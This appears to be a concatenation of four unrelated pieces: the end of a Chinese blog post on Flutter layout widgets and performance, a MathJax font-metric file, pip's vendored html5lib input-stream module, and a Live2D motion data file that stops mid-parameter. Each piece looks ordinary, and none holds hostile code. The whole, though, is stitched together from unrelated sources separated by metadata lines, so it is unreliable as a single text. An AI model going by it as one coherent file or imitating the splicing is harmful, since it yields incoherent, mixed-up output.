个人觉得这种分类方式不是特别的稳妥,但还是写下来了,请大家仁者见仁。 GridView和ListView分为一类,一个是因为其实现非常的相似,另一个原因是这两个控件内容区域可以无限,不像其他控件的内容区域都是固定的,因此将这两个划分为一类。 关于单列单行多列多行的,也并不是说很严格的,Row、Column、Table、ListBody可能会遵守这种划分,Flow以及Wrap则是近似的多列多行。这种划分绝对不是绝对的,只是个人的一种考量划分方式。 ### 3.2 使用 多节点控件种类较少,而且功能重叠的很少,因此在使用上来说,还是简单一些。比较常用的GridView、ListView、Row、Column、Stack,这几个控件基本上涵盖了大部分的布局了。 ### 3.3 控件的选择 多节点控件功能重叠的较少,因此选择上,不会存在太多模凌两可的问题,需要什么使用什么即可。 ## 4. 性能优化 性能优化这块儿,可能仁者见仁,并没有一个统一的说法,毕竟现在Flutter各方面都还不完善。但是,大方向还是有的,尽量使用功能集更小的控件,这个对于渲染效率上还是有所帮助的。 ### 4.1 优化 在这里我试着去列举一些,并不一定都正确。 * 对于单节点控件,如果一个布局多个控件都可以完成,则使用功能最小的,可以参照上面控件分类中的功能划分来做取舍; * 对于多节点控件,如果单节点控件满足需求的话,则去使用单节点控件进行布局; * 对于ListView,标准构造函数适用于条目比较少的情况,如果条目较多的话,尽量使用ListView.builder; * 对于GridView,如果需要展示大量的数据的话,尽量使用GridView.builder; * Flow、Wrap、Row、Column四个控件,单纯论效率的话,Flow是最高效的,但是使用起来是最复杂的; * 如果是单行或者单列的话,Row、Column比Table更高效; * Stack和CustomMultiChildLayout如果同时满足需求的话,CustomMultiChildLayout在某些时候效率会更高一些,但是取决于Delegate的实现,且使用起来更加的复杂; 上面所列的比较杂,但是归纳起来,无非这几点: * 功能越少的控件,效率越高; * ListView以及GridView的builder构造函数效率更高; * 实现起来比较复杂的控件,效率一般会更高。 ### 4.2 选择 控件的选择,个人觉得把握大方向就够了。如果时间紧急,以实现效率最优先,如果时间充裕的话,可以按照一些优化细则,去做一些选择。单纯控件层面,带来性能上的改进毕竟十分有限。 ## 5. 实战 首先看一下实际的效果图,这个是之前做工程中,比较复杂的一个界面吧,就算放到native上看,也是比较复杂的。 ![Flutter复杂页面样例](http://whysodiao.com/images/Flutter-Complex-Sample.png) 这个页面中有不少自定义控件,例如日期选择、进度等。整体看着复杂,实现起来其实也还好。关于如何布局拆解,之前文章有过介绍,在这里不再阐述,诀窍就是一个字----拆。 ### 5.1 关于自定义控件 自定义控件一般都是继承自StatelessWidget、StatefulWidget。也有一些特殊的,例如上面的进度控件,直接使用Canvas画的。 对于需要更新状态的,一般都是继承自StatefulWidget,对于不需要更新状态的,使用StatelessWidget即可,能够使用StatelessWidget的时候,也尽量使用它,StatefulWidget在页面更新的时候,会存在额外的开销。 Flutter的自定义控件,写起来可能会比原生的更简单,它更多的是一些基础控件的组合使用,而很少涉及到底层的一些重写。 ### 5.2 关于生命周期 这是很蛋疼的一个问题,一个纯Flutter的App,类似于Android中的单Activity应用。某个具体的页面就算去监听native层的生命周期,也仅仅是获取到base activity的,而无法获取到页面层级的。 ### 5.3 感想 Flutter如果轮子足够的话,还是非常吸引人的,在熟悉了这些基础组件过后,编写起来,速度会非常快。自定义控件的实现,也比较简单。但是,性能方面,还是存在比较大的问题,复杂页面首次载入,速度还是比较慢。对于高端机型来说,整体流畅度很不错,堪比原生的app,低端机型,表现就比较捉急吧。整体来说,Flutter表现还是挺不错的,可以上手试试,把玩把玩吧。就是写起来,写着写着就觉得恶心,是真的恶心的那种恶心,看着各种嵌套标签,感觉被降维成了web开发。 近期看到一些基于Flutter的自动布局解决方案,之前也有想过,完全可以基于Flutter做出布局的工具,仅仅是拖拽就可以实现完成度非常高的布局页面。也得益于Flutter本身的思想和实现机制,web方面的很多东西,个人觉得都可以借鉴到Flutter上。单纯从UI层来说,Flutter确实有自己独特的地方。如果Flutter在最开始,就仅仅是一套跨平台的UI的话,可能更容易被人们接受吧。 前几天看了官方的camera插件,还是挺蛋疼的,对于国内的Android端来说,直接拿来商用几乎是不可能的。插件基于camera2去实现,国内大部分厂商对于camera2的支持很差,一些很容易复现的crash也没有去解决。 如果决定在现有项目中使用Flutter,则需要做好埋坑造轮子的觉悟。如果人力紧缺的话,不应该在这上面去投入,人力富余的时候,可以投入人力跟进研究,让业界觉得你们很棒很前沿。 ## 6. 后话 笔者建了一个Flutter学习相关的项目,[Github地址](https://github.com/yang7229693/flutter-study),里面包含了笔者写的关于Flutter学习相关的一些文章,会定期更新,也会上传一些学习Demo,欢迎大家关注。 ## 7. 参考 1. [Flutter 布局详解](https://github.com/yang7229693/flutter-study/blob/master/post/3.%20Flutter%20%E5%B8%83%E5%B1%80%E8%AF%A6%E8%A7%A3.md)
{ "pile_set_name": "Github" }
/* * /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GeneralPunctuation.js * * Copyright (c) 2012 Design Science, Inc. * * Part of the MathJax library. * See http://www.mathjax.org for details. * * Licensed under the Apache License, Version 2.0; * you may not use this file except in compliance with the License. * * http://www.apache.org/licenses/LICENSE-2.0 */ MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{8208:[259,-193,333,39,285],8209:[257,-194,333,39,285],8210:[259,-193,500,0,500],8211:[250,-201,500,0,500],8212:[250,-201,1000,0,1000],8213:[250,-201,2000,0,2000],8214:[690,189,523,129,394],8215:[-141,300,500,0,500],8216:[676,-433,333,115,254],8217:[676,-433,333,79,218],8218:[102,141,333,79,218],8219:[676,-433,333,79,218],8220:[676,-433,444,43,414],8221:[676,-433,444,30,401],8222:[102,141,444,45,416],8223:[676,-433,444,30,401],8226:[444,-59,523,70,455],8229:[100,11,667,111,555],8240:[706,19,1109,61,1048],8241:[706,19,1471,61,1410],8243:[678,-401,426,75,351],8244:[678,-401,563,75,488],8245:[678,-402,289,75,214],8246:[678,-401,426,75,351],8247:[678,-401,563,75,488],8248:[102,156,511,59,454],8249:[416,-33,333,63,285],8250:[416,-33,333,48,270],8251:[547,41,685,48,635],8252:[676,9,549,130,452],8256:[709,-512,798,72,726],8259:[332,-172,333,39,285],8260:[676,14,167,-168,331],8263:[676,8,839,68,809],8270:[240,171,500,68,433],8271:[459,141,278,60,199],8272:[691,40,790,55,735],8273:[676,171,501,68,433],8274:[706,200,471,54,417],8279:[678,-401,710,75,635],8287:[0,0,1000,0,0]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/GeneralPunctuation.js");
{ "pile_set_name": "Github" }
from __future__ import absolute_import, division, unicode_literals from pip._vendor.six import text_type, binary_type from pip._vendor.six.moves import http_client, urllib import codecs import re from pip._vendor import webencodings from .constants import EOF, spaceCharacters, asciiLetters, asciiUppercase from .constants import _ReparseException from . import _utils from io import StringIO try: from io import BytesIO except ImportError: BytesIO = StringIO # Non-unicode versions of constants for use in the pre-parser spaceCharactersBytes = frozenset([item.encode("ascii") for item in spaceCharacters]) asciiLettersBytes = frozenset([item.encode("ascii") for item in asciiLetters]) asciiUppercaseBytes = frozenset([item.encode("ascii") for item in asciiUppercase]) spacesAngleBrackets = spaceCharactersBytes | frozenset([b">", b"<"]) invalid_unicode_no_surrogate = "[\u0001-\u0008\u000B\u000E-\u001F\u007F-\u009F\uFDD0-\uFDEF\uFFFE\uFFFF\U0001FFFE\U0001FFFF\U0002FFFE\U0002FFFF\U0003FFFE\U0003FFFF\U0004FFFE\U0004FFFF\U0005FFFE\U0005FFFF\U0006FFFE\U0006FFFF\U0007FFFE\U0007FFFF\U0008FFFE\U0008FFFF\U0009FFFE\U0009FFFF\U000AFFFE\U000AFFFF\U000BFFFE\U000BFFFF\U000CFFFE\U000CFFFF\U000DFFFE\U000DFFFF\U000EFFFE\U000EFFFF\U000FFFFE\U000FFFFF\U0010FFFE\U0010FFFF]" # noqa if _utils.supports_lone_surrogates: # Use one extra step of indirection and create surrogates with # eval. Not using this indirection would introduce an illegal # unicode literal on platforms not supporting such lone # surrogates. assert invalid_unicode_no_surrogate[-1] == "]" and invalid_unicode_no_surrogate.count("]") == 1 invalid_unicode_re = re.compile(invalid_unicode_no_surrogate[:-1] + eval('"\\uD800-\\uDFFF"') + # pylint:disable=eval-used "]") else: invalid_unicode_re = re.compile(invalid_unicode_no_surrogate) non_bmp_invalid_codepoints = set([0x1FFFE, 0x1FFFF, 0x2FFFE, 0x2FFFF, 0x3FFFE, 0x3FFFF, 0x4FFFE, 0x4FFFF, 0x5FFFE, 0x5FFFF, 0x6FFFE, 0x6FFFF, 0x7FFFE, 0x7FFFF, 0x8FFFE, 0x8FFFF, 0x9FFFE, 0x9FFFF, 0xAFFFE, 0xAFFFF, 0xBFFFE, 0xBFFFF, 0xCFFFE, 0xCFFFF, 0xDFFFE, 0xDFFFF, 0xEFFFE, 0xEFFFF, 0xFFFFE, 0xFFFFF, 0x10FFFE, 0x10FFFF]) ascii_punctuation_re = re.compile("[\u0009-\u000D\u0020-\u002F\u003A-\u0040\u005C\u005B-\u0060\u007B-\u007E]") # Cache for charsUntil() charsUntilRegEx = {} class BufferedStream(object): """Buffering for streams that do not have buffering of their own The buffer is implemented as a list of chunks on the assumption that joining many strings will be slow since it is O(n**2) """ def __init__(self, stream): self.stream = stream self.buffer = [] self.position = [-1, 0] # chunk number, offset def tell(self): pos = 0 for chunk in self.buffer[:self.position[0]]: pos += len(chunk) pos += self.position[1] return pos def seek(self, pos): assert pos <= self._bufferedBytes() offset = pos i = 0 while len(self.buffer[i]) < offset: offset -= len(self.buffer[i]) i += 1 self.position = [i, offset] def read(self, bytes): if not self.buffer: return self._readStream(bytes) elif (self.position[0] == len(self.buffer) and self.position[1] == len(self.buffer[-1])): return self._readStream(bytes) else: return self._readFromBuffer(bytes) def _bufferedBytes(self): return sum([len(item) for item in self.buffer]) def _readStream(self, bytes): data = self.stream.read(bytes) self.buffer.append(data) self.position[0] += 1 self.position[1] = len(data) return data def _readFromBuffer(self, bytes): remainingBytes = bytes rv = [] bufferIndex = self.position[0] bufferOffset = self.position[1] while bufferIndex < len(self.buffer) and remainingBytes != 0: assert remainingBytes > 0 bufferedData = self.buffer[bufferIndex] if remainingBytes <= len(bufferedData) - bufferOffset: bytesToRead = remainingBytes self.position = [bufferIndex, bufferOffset + bytesToRead] else: bytesToRead = len(bufferedData) - bufferOffset self.position = [bufferIndex, len(bufferedData)] bufferIndex += 1 rv.append(bufferedData[bufferOffset:bufferOffset + bytesToRead]) remainingBytes -= bytesToRead bufferOffset = 0 if remainingBytes: rv.append(self._readStream(remainingBytes)) return b"".join(rv) def HTMLInputStream(source, **kwargs): # Work around Python bug #20007: read(0) closes the connection. # http://bugs.python.org/issue20007 if (isinstance(source, http_client.HTTPResponse) or # Also check for addinfourl wrapping HTTPResponse (isinstance(source, urllib.response.addbase) and isinstance(source.fp, http_client.HTTPResponse))): isUnicode = False elif hasattr(source, "read"): isUnicode = isinstance(source.read(0), text_type) else: isUnicode = isinstance(source, text_type) if isUnicode: encodings = [x for x in kwargs if x.endswith("_encoding")] if encodings: raise TypeError("Cannot set an encoding with a unicode input, set %r" % encodings) return HTMLUnicodeInputStream(source, **kwargs) else: return HTMLBinaryInputStream(source, **kwargs) class HTMLUnicodeInputStream(object): """Provides a unicode stream of characters to the HTMLTokenizer. This class takes care of character encoding and removing or replacing incorrect byte-sequences and also provides column and line tracking. """ _defaultChunkSize = 10240 def __init__(self, source): """Initialises the HTMLInputStream. HTMLInputStream(source, [encoding]) -> Normalized stream from source for use by html5lib. source can be either a file-object, local filename or a string. The optional encoding parameter must be a string that indicates the encoding. If specified, that encoding will be used, regardless of any BOM or later declaration (such as in a meta element) """ if not _utils.supports_lone_surrogates: # Such platforms will have already checked for such # surrogate errors, so no need to do this checking. self.reportCharacterErrors = None elif len("\U0010FFFF") == 1: self.reportCharacterErrors = self.characterErrorsUCS4 else: self.reportCharacterErrors = self.characterErrorsUCS2 # List of where new lines occur self.newLines = [0] self.charEncoding = (lookupEncoding("utf-8"), "certain") self.dataStream = self.openStream(source) self.reset() def reset(self): self.chunk = "" self.chunkSize = 0 self.chunkOffset = 0 self.errors = [] # number of (complete) lines in previous chunks self.prevNumLines = 0 # number of columns in the last line of the previous chunk self.prevNumCols = 0 # Deal with CR LF and surrogates split over chunk boundaries self._bufferedCharacter = None def openStream(self, source): """Produces a file object from source. source can be either a file object, local filename or a string. """ # Already a file object if hasattr(source, 'read'): stream = source else: stream = StringIO(source) return stream def _position(self, offset): chunk = self.chunk nLines = chunk.count('\n', 0, offset) positionLine = self.prevNumLines + nLines lastLinePos = chunk.rfind('\n', 0, offset) if lastLinePos == -1: positionColumn = self.prevNumCols + offset else: positionColumn = offset - (lastLinePos + 1) return (positionLine, positionColumn) def position(self): """Returns (line, col) of the current position in the stream.""" line, col = self._position(self.chunkOffset) return (line + 1, col) def char(self): """ Read one character from the stream or queue if available. Return EOF when EOF is reached. """ # Read a new chunk from the input stream if necessary if self.chunkOffset >= self.chunkSize: if not self.readChunk(): return EOF chunkOffset = self.chunkOffset char = self.chunk[chunkOffset] self.chunkOffset = chunkOffset + 1 return char def readChunk(self, chunkSize=None): if chunkSize is None: chunkSize = self._defaultChunkSize self.prevNumLines, self.prevNumCols = self._position(self.chunkSize) self.chunk = "" self.chunkSize = 0 self.chunkOffset = 0 data = self.dataStream.read(chunkSize) # Deal with CR LF and surrogates broken across chunks if self._bufferedCharacter: data = self._bufferedCharacter + data self._bufferedCharacter = None elif not data: # We have no more data, bye-bye stream return False if len(data) > 1: lastv = ord(data[-1]) if lastv == 0x0D or 0xD800 <= lastv <= 0xDBFF: self._bufferedCharacter = data[-1] data = data[:-1] if self.reportCharacterErrors: self.reportCharacterErrors(data) # Replace invalid characters data = data.replace("\r\n", "\n") data = data.replace("\r", "\n") self.chunk = data self.chunkSize = len(data) return True def characterErrorsUCS4(self, data): for _ in range(len(invalid_unicode_re.findall(data))): self.errors.append("invalid-codepoint") def characterErrorsUCS2(self, data): # Someone picked the wrong compile option # You lose skip = False for match in invalid_unicode_re.finditer(data): if skip: continue codepoint = ord(match.group()) pos = match.start() # Pretty sure there should be endianness issues here if _utils.isSurrogatePair(data[pos:pos + 2]): # We have a surrogate pair! char_val = _utils.surrogatePairToCodepoint(data[pos:pos + 2]) if char_val in non_bmp_invalid_codepoints: self.errors.append("invalid-codepoint") skip = True elif (codepoint >= 0xD800 and codepoint <= 0xDFFF and pos == len(data) - 1): self.errors.append("invalid-codepoint") else: skip = False self.errors.append("invalid-codepoint") def charsUntil(self, characters, opposite=False): """ Returns a string of characters from the stream up to but not including any character in 'characters' or EOF. 'characters' must be a container that supports the 'in' method and iteration over its characters. """ # Use a cache of regexps to find the required characters try: chars = charsUntilRegEx[(characters, opposite)] except KeyError: if __debug__: for c in characters: assert(ord(c) < 128) regex = "".join(["\\x%02x" % ord(c) for c in characters]) if not opposite: regex = "^%s" % regex chars = charsUntilRegEx[(characters, opposite)] = re.compile("[%s]+" % regex) rv = [] while True: # Find the longest matching prefix m = chars.match(self.chunk, self.chunkOffset) if m is None: # If nothing matched, and it wasn't because we ran out of chunk, # then stop if self.chunkOffset != self.chunkSize: break else: end = m.end() # If not the whole chunk matched, return everything # up to the part that didn't match if end != self.chunkSize: rv.append(self.chunk[self.chunkOffset:end]) self.chunkOffset = end break # If the whole remainder of the chunk matched, # use it all and read the next chunk rv.append(self.chunk[self.chunkOffset:]) if not self.readChunk(): # Reached EOF break r = "".join(rv) return r def unget(self, char): # Only one character is allowed to be ungotten at once - it must # be consumed again before any further call to unget if char is not None: if self.chunkOffset == 0: # unget is called quite rarely, so it's a good idea to do # more work here if it saves a bit of work in the frequently # called char and charsUntil. # So, just prepend the ungotten character onto the current # chunk: self.chunk = char + self.chunk self.chunkSize += 1 else: self.chunkOffset -= 1 assert self.chunk[self.chunkOffset] == char class HTMLBinaryInputStream(HTMLUnicodeInputStream): """Provides a unicode stream of characters to the HTMLTokenizer. This class takes care of character encoding and removing or replacing incorrect byte-sequences and also provides column and line tracking. """ def __init__(self, source, override_encoding=None, transport_encoding=None, same_origin_parent_encoding=None, likely_encoding=None, default_encoding="windows-1252", useChardet=True): """Initialises the HTMLInputStream. HTMLInputStream(source, [encoding]) -> Normalized stream from source for use by html5lib. source can be either a file-object, local filename or a string. The optional encoding parameter must be a string that indicates the encoding. If specified, that encoding will be used, regardless of any BOM or later declaration (such as in a meta element) """ # Raw Stream - for unicode objects this will encode to utf-8 and set # self.charEncoding as appropriate self.rawStream = self.openStream(source) HTMLUnicodeInputStream.__init__(self, self.rawStream) # Encoding Information # Number of bytes to use when looking for a meta element with # encoding information self.numBytesMeta = 1024 # Number of bytes to use when using detecting encoding using chardet self.numBytesChardet = 100 # Things from args self.override_encoding = override_encoding self.transport_encoding = transport_encoding self.same_origin_parent_encoding = same_origin_parent_encoding self.likely_encoding = likely_encoding self.default_encoding = default_encoding # Determine encoding self.charEncoding = self.determineEncoding(useChardet) assert self.charEncoding[0] is not None # Call superclass self.reset() def reset(self): self.dataStream = self.charEncoding[0].codec_info.streamreader(self.rawStream, 'replace') HTMLUnicodeInputStream.reset(self) def openStream(self, source): """Produces a file object from source. source can be either a file object, local filename or a string. """ # Already a file object if hasattr(source, 'read'): stream = source else: stream = BytesIO(source) try: stream.seek(stream.tell()) except: # pylint:disable=bare-except stream = BufferedStream(stream) return stream def determineEncoding(self, chardet=True): # BOMs take precedence over everything # This will also read past the BOM if present charEncoding = self.detectBOM(), "certain" if charEncoding[0] is not None: return charEncoding # If we've been overriden, we've been overriden charEncoding = lookupEncoding(self.override_encoding), "certain" if charEncoding[0] is not None: return charEncoding # Now check the transport layer charEncoding = lookupEncoding(self.transport_encoding), "certain" if charEncoding[0] is not None: return charEncoding # Look for meta elements with encoding information charEncoding = self.detectEncodingMeta(), "tentative" if charEncoding[0] is not None: return charEncoding # Parent document encoding charEncoding = lookupEncoding(self.same_origin_parent_encoding), "tentative" if charEncoding[0] is not None and not charEncoding[0].name.startswith("utf-16"): return charEncoding # "likely" encoding charEncoding = lookupEncoding(self.likely_encoding), "tentative" if charEncoding[0] is not None: return charEncoding # Guess with chardet, if available if chardet: try: from pip._vendor.chardet.universaldetector import UniversalDetector except ImportError: pass else: buffers = [] detector = UniversalDetector() while not detector.done: buffer = self.rawStream.read(self.numBytesChardet) assert isinstance(buffer, bytes) if not buffer: break buffers.append(buffer) detector.feed(buffer) detector.close() encoding = lookupEncoding(detector.result['encoding']) self.rawStream.seek(0) if encoding is not None: return encoding, "tentative" # Try the default encoding charEncoding = lookupEncoding(self.default_encoding), "tentative" if charEncoding[0] is not None: return charEncoding # Fallback to html5lib's default if even that hasn't worked return lookupEncoding("windows-1252"), "tentative" def changeEncoding(self, newEncoding): assert self.charEncoding[1] != "certain" newEncoding = lookupEncoding(newEncoding) if newEncoding is None: return if newEncoding.name in ("utf-16be", "utf-16le"): newEncoding = lookupEncoding("utf-8") assert newEncoding is not None elif newEncoding == self.charEncoding[0]: self.charEncoding = (self.charEncoding[0], "certain") else: self.rawStream.seek(0) self.charEncoding = (newEncoding, "certain") self.reset() raise _ReparseException("Encoding changed from %s to %s" % (self.charEncoding[0], newEncoding)) def detectBOM(self): """Attempts to detect at BOM at the start of the stream. If an encoding can be determined from the BOM return the name of the encoding otherwise return None""" bomDict = { codecs.BOM_UTF8: 'utf-8', codecs.BOM_UTF16_LE: 'utf-16le', codecs.BOM_UTF16_BE: 'utf-16be', codecs.BOM_UTF32_LE: 'utf-32le', codecs.BOM_UTF32_BE: 'utf-32be' } # Go to beginning of file and read in 4 bytes string = self.rawStream.read(4) assert isinstance(string, bytes) # Try detecting the BOM using bytes from the string encoding = bomDict.get(string[:3]) # UTF-8 seek = 3 if not encoding: # Need to detect UTF-32 before UTF-16 encoding = bomDict.get(string) # UTF-32 seek = 4 if not encoding: encoding = bomDict.get(string[:2]) # UTF-16 seek = 2 # Set the read position past the BOM if one was found, otherwise # set it to the start of the stream if encoding: self.rawStream.seek(seek) return lookupEncoding(encoding) else: self.rawStream.seek(0) return None def detectEncodingMeta(self): """Report the encoding declared by the meta element """ buffer = self.rawStream.read(self.numBytesMeta) assert isinstance(buffer, bytes) parser = EncodingParser(buffer) self.rawStream.seek(0) encoding = parser.getEncoding() if encoding is not None and encoding.name in ("utf-16be", "utf-16le"): encoding = lookupEncoding("utf-8") return encoding class EncodingBytes(bytes): """String-like object with an associated position and various extra methods If the position is ever greater than the string length then an exception is raised""" def __new__(self, value): assert isinstance(value, bytes) return bytes.__new__(self, value.lower()) def __init__(self, value): # pylint:disable=unused-argument self._position = -1 def __iter__(self): return self def __next__(self): p = self._position = self._position + 1 if p >= len(self): raise StopIteration elif p < 0: raise TypeError return self[p:p + 1] def next(self): # Py2 compat return self.__next__() def previous(self): p = self._position if p >= len(self): raise StopIteration elif p < 0: raise TypeError self._position = p = p - 1 return self[p:p + 1] def setPosition(self, position): if self._position >= len(self): raise StopIteration self._position = position def getPosition(self): if self._position >= len(self): raise StopIteration if self._position >= 0: return self._position else: return None position = property(getPosition, setPosition) def getCurrentByte(self): return self[self.position:self.position + 1] currentByte = property(getCurrentByte) def skip(self, chars=spaceCharactersBytes): """Skip past a list of characters""" p = self.position # use property for the error-checking while p < len(self): c = self[p:p + 1] if c not in chars: self._position = p return c p += 1 self._position = p return None def skipUntil(self, chars): p = self.position while p < len(self): c = self[p:p + 1] if c in chars: self._position = p return c p += 1 self._position = p return None def matchBytes(self, bytes): """Look for a sequence of bytes at the start of a string. If the bytes are found return True and advance the position to the byte after the match. Otherwise return False and leave the position alone""" p = self.position data = self[p:p + len(bytes)] rv = data.startswith(bytes) if rv: self.position += len(bytes) return rv def jumpTo(self, bytes): """Look for the next sequence of bytes matching a given sequence. If a match is found advance the position to the last byte of the match""" newPosition = self[self.position:].find(bytes) if newPosition > -1: # XXX: This is ugly, but I can't see a nicer way to fix this. if self._position == -1: self._position = 0 self._position += (newPosition + len(bytes) - 1) return True else: raise StopIteration class EncodingParser(object): """Mini parser for detecting character encoding from meta elements""" def __init__(self, data): """string - the data to work on for encoding detection""" self.data = EncodingBytes(data) self.encoding = None def getEncoding(self): methodDispatch = ( (b"<!--", self.handleComment), (b"<meta", self.handleMeta), (b"</", self.handlePossibleEndTag), (b"<!", self.handleOther), (b"<?", self.handleOther), (b"<", self.handlePossibleStartTag)) for _ in self.data: keepParsing = True for key, method in methodDispatch: if self.data.matchBytes(key): try: keepParsing = method() break except StopIteration: keepParsing = False break if not keepParsing: break return self.encoding def handleComment(self): """Skip over comments""" return self.data.jumpTo(b"-->") def handleMeta(self): if self.data.currentByte not in spaceCharactersBytes: # if we have <meta not followed by a space so just keep going return True # We have a valid meta element we want to search for attributes hasPragma = False pendingEncoding = None while True: # Try to find the next attribute after the current position attr = self.getAttribute() if attr is None: return True else: if attr[0] == b"http-equiv": hasPragma = attr[1] == b"content-type" if hasPragma and pendingEncoding is not None: self.encoding = pendingEncoding return False elif attr[0] == b"charset": tentativeEncoding = attr[1] codec = lookupEncoding(tentativeEncoding) if codec is not None: self.encoding = codec return False elif attr[0] == b"content": contentParser = ContentAttrParser(EncodingBytes(attr[1])) tentativeEncoding = contentParser.parse() if tentativeEncoding is not None: codec = lookupEncoding(tentativeEncoding) if codec is not None: if hasPragma: self.encoding = codec return False else: pendingEncoding = codec def handlePossibleStartTag(self): return self.handlePossibleTag(False) def handlePossibleEndTag(self): next(self.data) return self.handlePossibleTag(True) def handlePossibleTag(self, endTag): data = self.data if data.currentByte not in asciiLettersBytes: # If the next byte is not an ascii letter either ignore this # fragment (possible start tag case) or treat it according to # handleOther if endTag: data.previous() self.handleOther() return True c = data.skipUntil(spacesAngleBrackets) if c == b"<": # return to the first step in the overall "two step" algorithm # reprocessing the < byte data.previous() else: # Read all attributes attr = self.getAttribute() while attr is not None: attr = self.getAttribute() return True def handleOther(self): return self.data.jumpTo(b">") def getAttribute(self): """Return a name,value pair for the next attribute in the stream, if one is found, or None""" data = self.data # Step 1 (skip chars) c = data.skip(spaceCharactersBytes | frozenset([b"/"])) assert c is None or len(c) == 1 # Step 2 if c in (b">", None): return None # Step 3 attrName = [] attrValue = [] # Step 4 attribute name while True: if c == b"=" and attrName: break elif c in spaceCharactersBytes: # Step 6! c = data.skip() break elif c in (b"/", b">"): return b"".join(attrName), b"" elif c in asciiUppercaseBytes: attrName.append(c.lower()) elif c is None: return None else: attrName.append(c) # Step 5 c = next(data) # Step 7 if c != b"=": data.previous() return b"".join(attrName), b"" # Step 8 next(data) # Step 9 c = data.skip() # Step 10 if c in (b"'", b'"'): # 10.1 quoteChar = c while True: # 10.2 c = next(data) # 10.3 if c == quoteChar: next(data) return b"".join(attrName), b"".join(attrValue) # 10.4 elif c in asciiUppercaseBytes: attrValue.append(c.lower()) # 10.5 else: attrValue.append(c) elif c == b">": return b"".join(attrName), b"" elif c in asciiUppercaseBytes: attrValue.append(c.lower()) elif c is None: return None else: attrValue.append(c) # Step 11 while True: c = next(data) if c in spacesAngleBrackets: return b"".join(attrName), b"".join(attrValue) elif c in asciiUppercaseBytes: attrValue.append(c.lower()) elif c is None: return None else: attrValue.append(c) class ContentAttrParser(object): def __init__(self, data): assert isinstance(data, bytes) self.data = data def parse(self): try: # Check if the attr name is charset # otherwise return self.data.jumpTo(b"charset") self.data.position += 1 self.data.skip() if not self.data.currentByte == b"=": # If there is no = sign keep looking for attrs return None self.data.position += 1 self.data.skip() # Look for an encoding between matching quote marks if self.data.currentByte in (b'"', b"'"): quoteMark = self.data.currentByte self.data.position += 1 oldPosition = self.data.position if self.data.jumpTo(quoteMark): return self.data[oldPosition:self.data.position] else: return None else: # Unquoted value oldPosition = self.data.position try: self.data.skipUntil(spaceCharactersBytes) return self.data[oldPosition:self.data.position] except StopIteration: # Return the whole remaining value return self.data[oldPosition:] except StopIteration: return None def lookupEncoding(encoding): """Return the python codec name corresponding to an encoding or None if the string doesn't correspond to a valid encoding.""" if isinstance(encoding, binary_type): try: encoding = encoding.decode("ascii") except UnicodeDecodeError: return None if encoding is not None: try: return webencodings.lookup(encoding) except AttributeError: return None else: return None
{ "pile_set_name": "Github" }
# Live2D Animator Motion Data $fps=30 $fadein=1000 $fadeout=1000 $fadein:PARAM_EYE_L_OPEN=300 $fadeout:PARAM_EYE_L_OPEN=300 $fadein:PARAM_EYE_L_SMILE=300 $fadeout:PARAM_EYE_L_SMILE=300 $fadein:PARAM_EYE_R_OPEN=300 $fadeout:PARAM_EYE_R_OPEN=300 $fadein:PARAM_EYE_R_SMILE=300 $fadeout:PARAM_EYE_R_SMILE=300 $fadein:PARAM_MOUTH_FORM=300 $fadeout:PARAM_MOUTH_FORM=300 $fadein:PARAM_MOUTH_OPEN_Y=300 $fadeout:PARAM_MOUTH_OPEN_Y=300 $fadein:PARAM_MOUTH_AWAWA=300 $fadeout:PARAM_MOUTH_AWAWA=300 $fadein:PARAM_MOUTH_SCALE=300 $fadeout:PARAM_MOUTH_SCALE=300 PARAM_ANGLE_X=0,-0.12,-0.47,-0.98,-1.66,-2.45,-3.35,-4.31,-5.31,-6.34,-7.39,-8.41,-9.4,-10.34,-11.2,-11.99,-12.67,-13.23,-13.64,-13.91,-14,-13.9,-13.61,-13.16,-12.53,-11.76,-10.82,-9.7,-8.46,-7.01,-5.42,-3.62,-1.49,0.53,2.41,4.17,5.78,7.26,8.56,9.73,10.75,11.64,12.37,12.97,13.43,13.75,13.94,14,13.85,13.42,12.76,11.91,10.93,9.84,8.72,7.58,6.47,5.41,4.46,3.62,2.93,2.43,2.11,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2 PARAM_ANGLE_Y=0 PARAM_ANGLE_Z=0,-0.07,-0.25,-0.51,-0.81,-1.12,-1.41,-1.65,-1.84,-1.96,-2,-1.93,-1.73,-1.44,-1.05,-0.6,-0.08,0.47,1.04,1.63,2.22,2.8,3.37,3.91,4.4,4.85,5.24,5.56,5.79,5.95,6,5.71,4.96,3.91,2.73,1.64,0.75,0.03,-0.63,-1.22,-1.78,-2.27,-2.71,-3.11,-3.46,-3.77,-4.04,-4.26,-4.45,-4.61,-4.74,-4.84,-4.91,-4.96,-4.99,-5,-4.71,-3.89,-2.6,-0.97,0.98,3.11,5.36,7.64,9.89,12.02,13.97,15.6,16.89,17.71,18,17.82,17.34,16.6,15.67,14.64,13.53,12.41,11.38,10.45,9.71,9.24,9.06,9.06,9.06,9.06,9.06,9.06,9.06,9.06,9.06,9.06,9.06,9.06,9.06,9.06,9.06,9.06,9.06,9.06,9.06,9.06,9.06 PARAM_EYE_L_OPEN=0 PARAM_EYE_L_SMILE=1 PARAM_EYE_R_OPEN=0 PARAM_EYE_R_SMILE=1 PARAM_EYE_UNDER=0 PARAM_EYE_BALL_X=0 PARAM_EYE_BALL_Y=0 PARAM_EYE_BALL_FORM=0 PARAM_BROW_L_Y=0 PARAM_BROW_R_Y=0 PARAM_BROW_L_X=0 PARAM_BROW_R_X=0 PARAM_BROW_L_ANGLE=0.14 PARAM_BROW_R_ANGLE=0.14 PARAM_BROW_L_FORM=0 PARAM_BROW_R_FORM=0 PARAM_BROW_S=0 PARAM_MOUTH_FORM=0 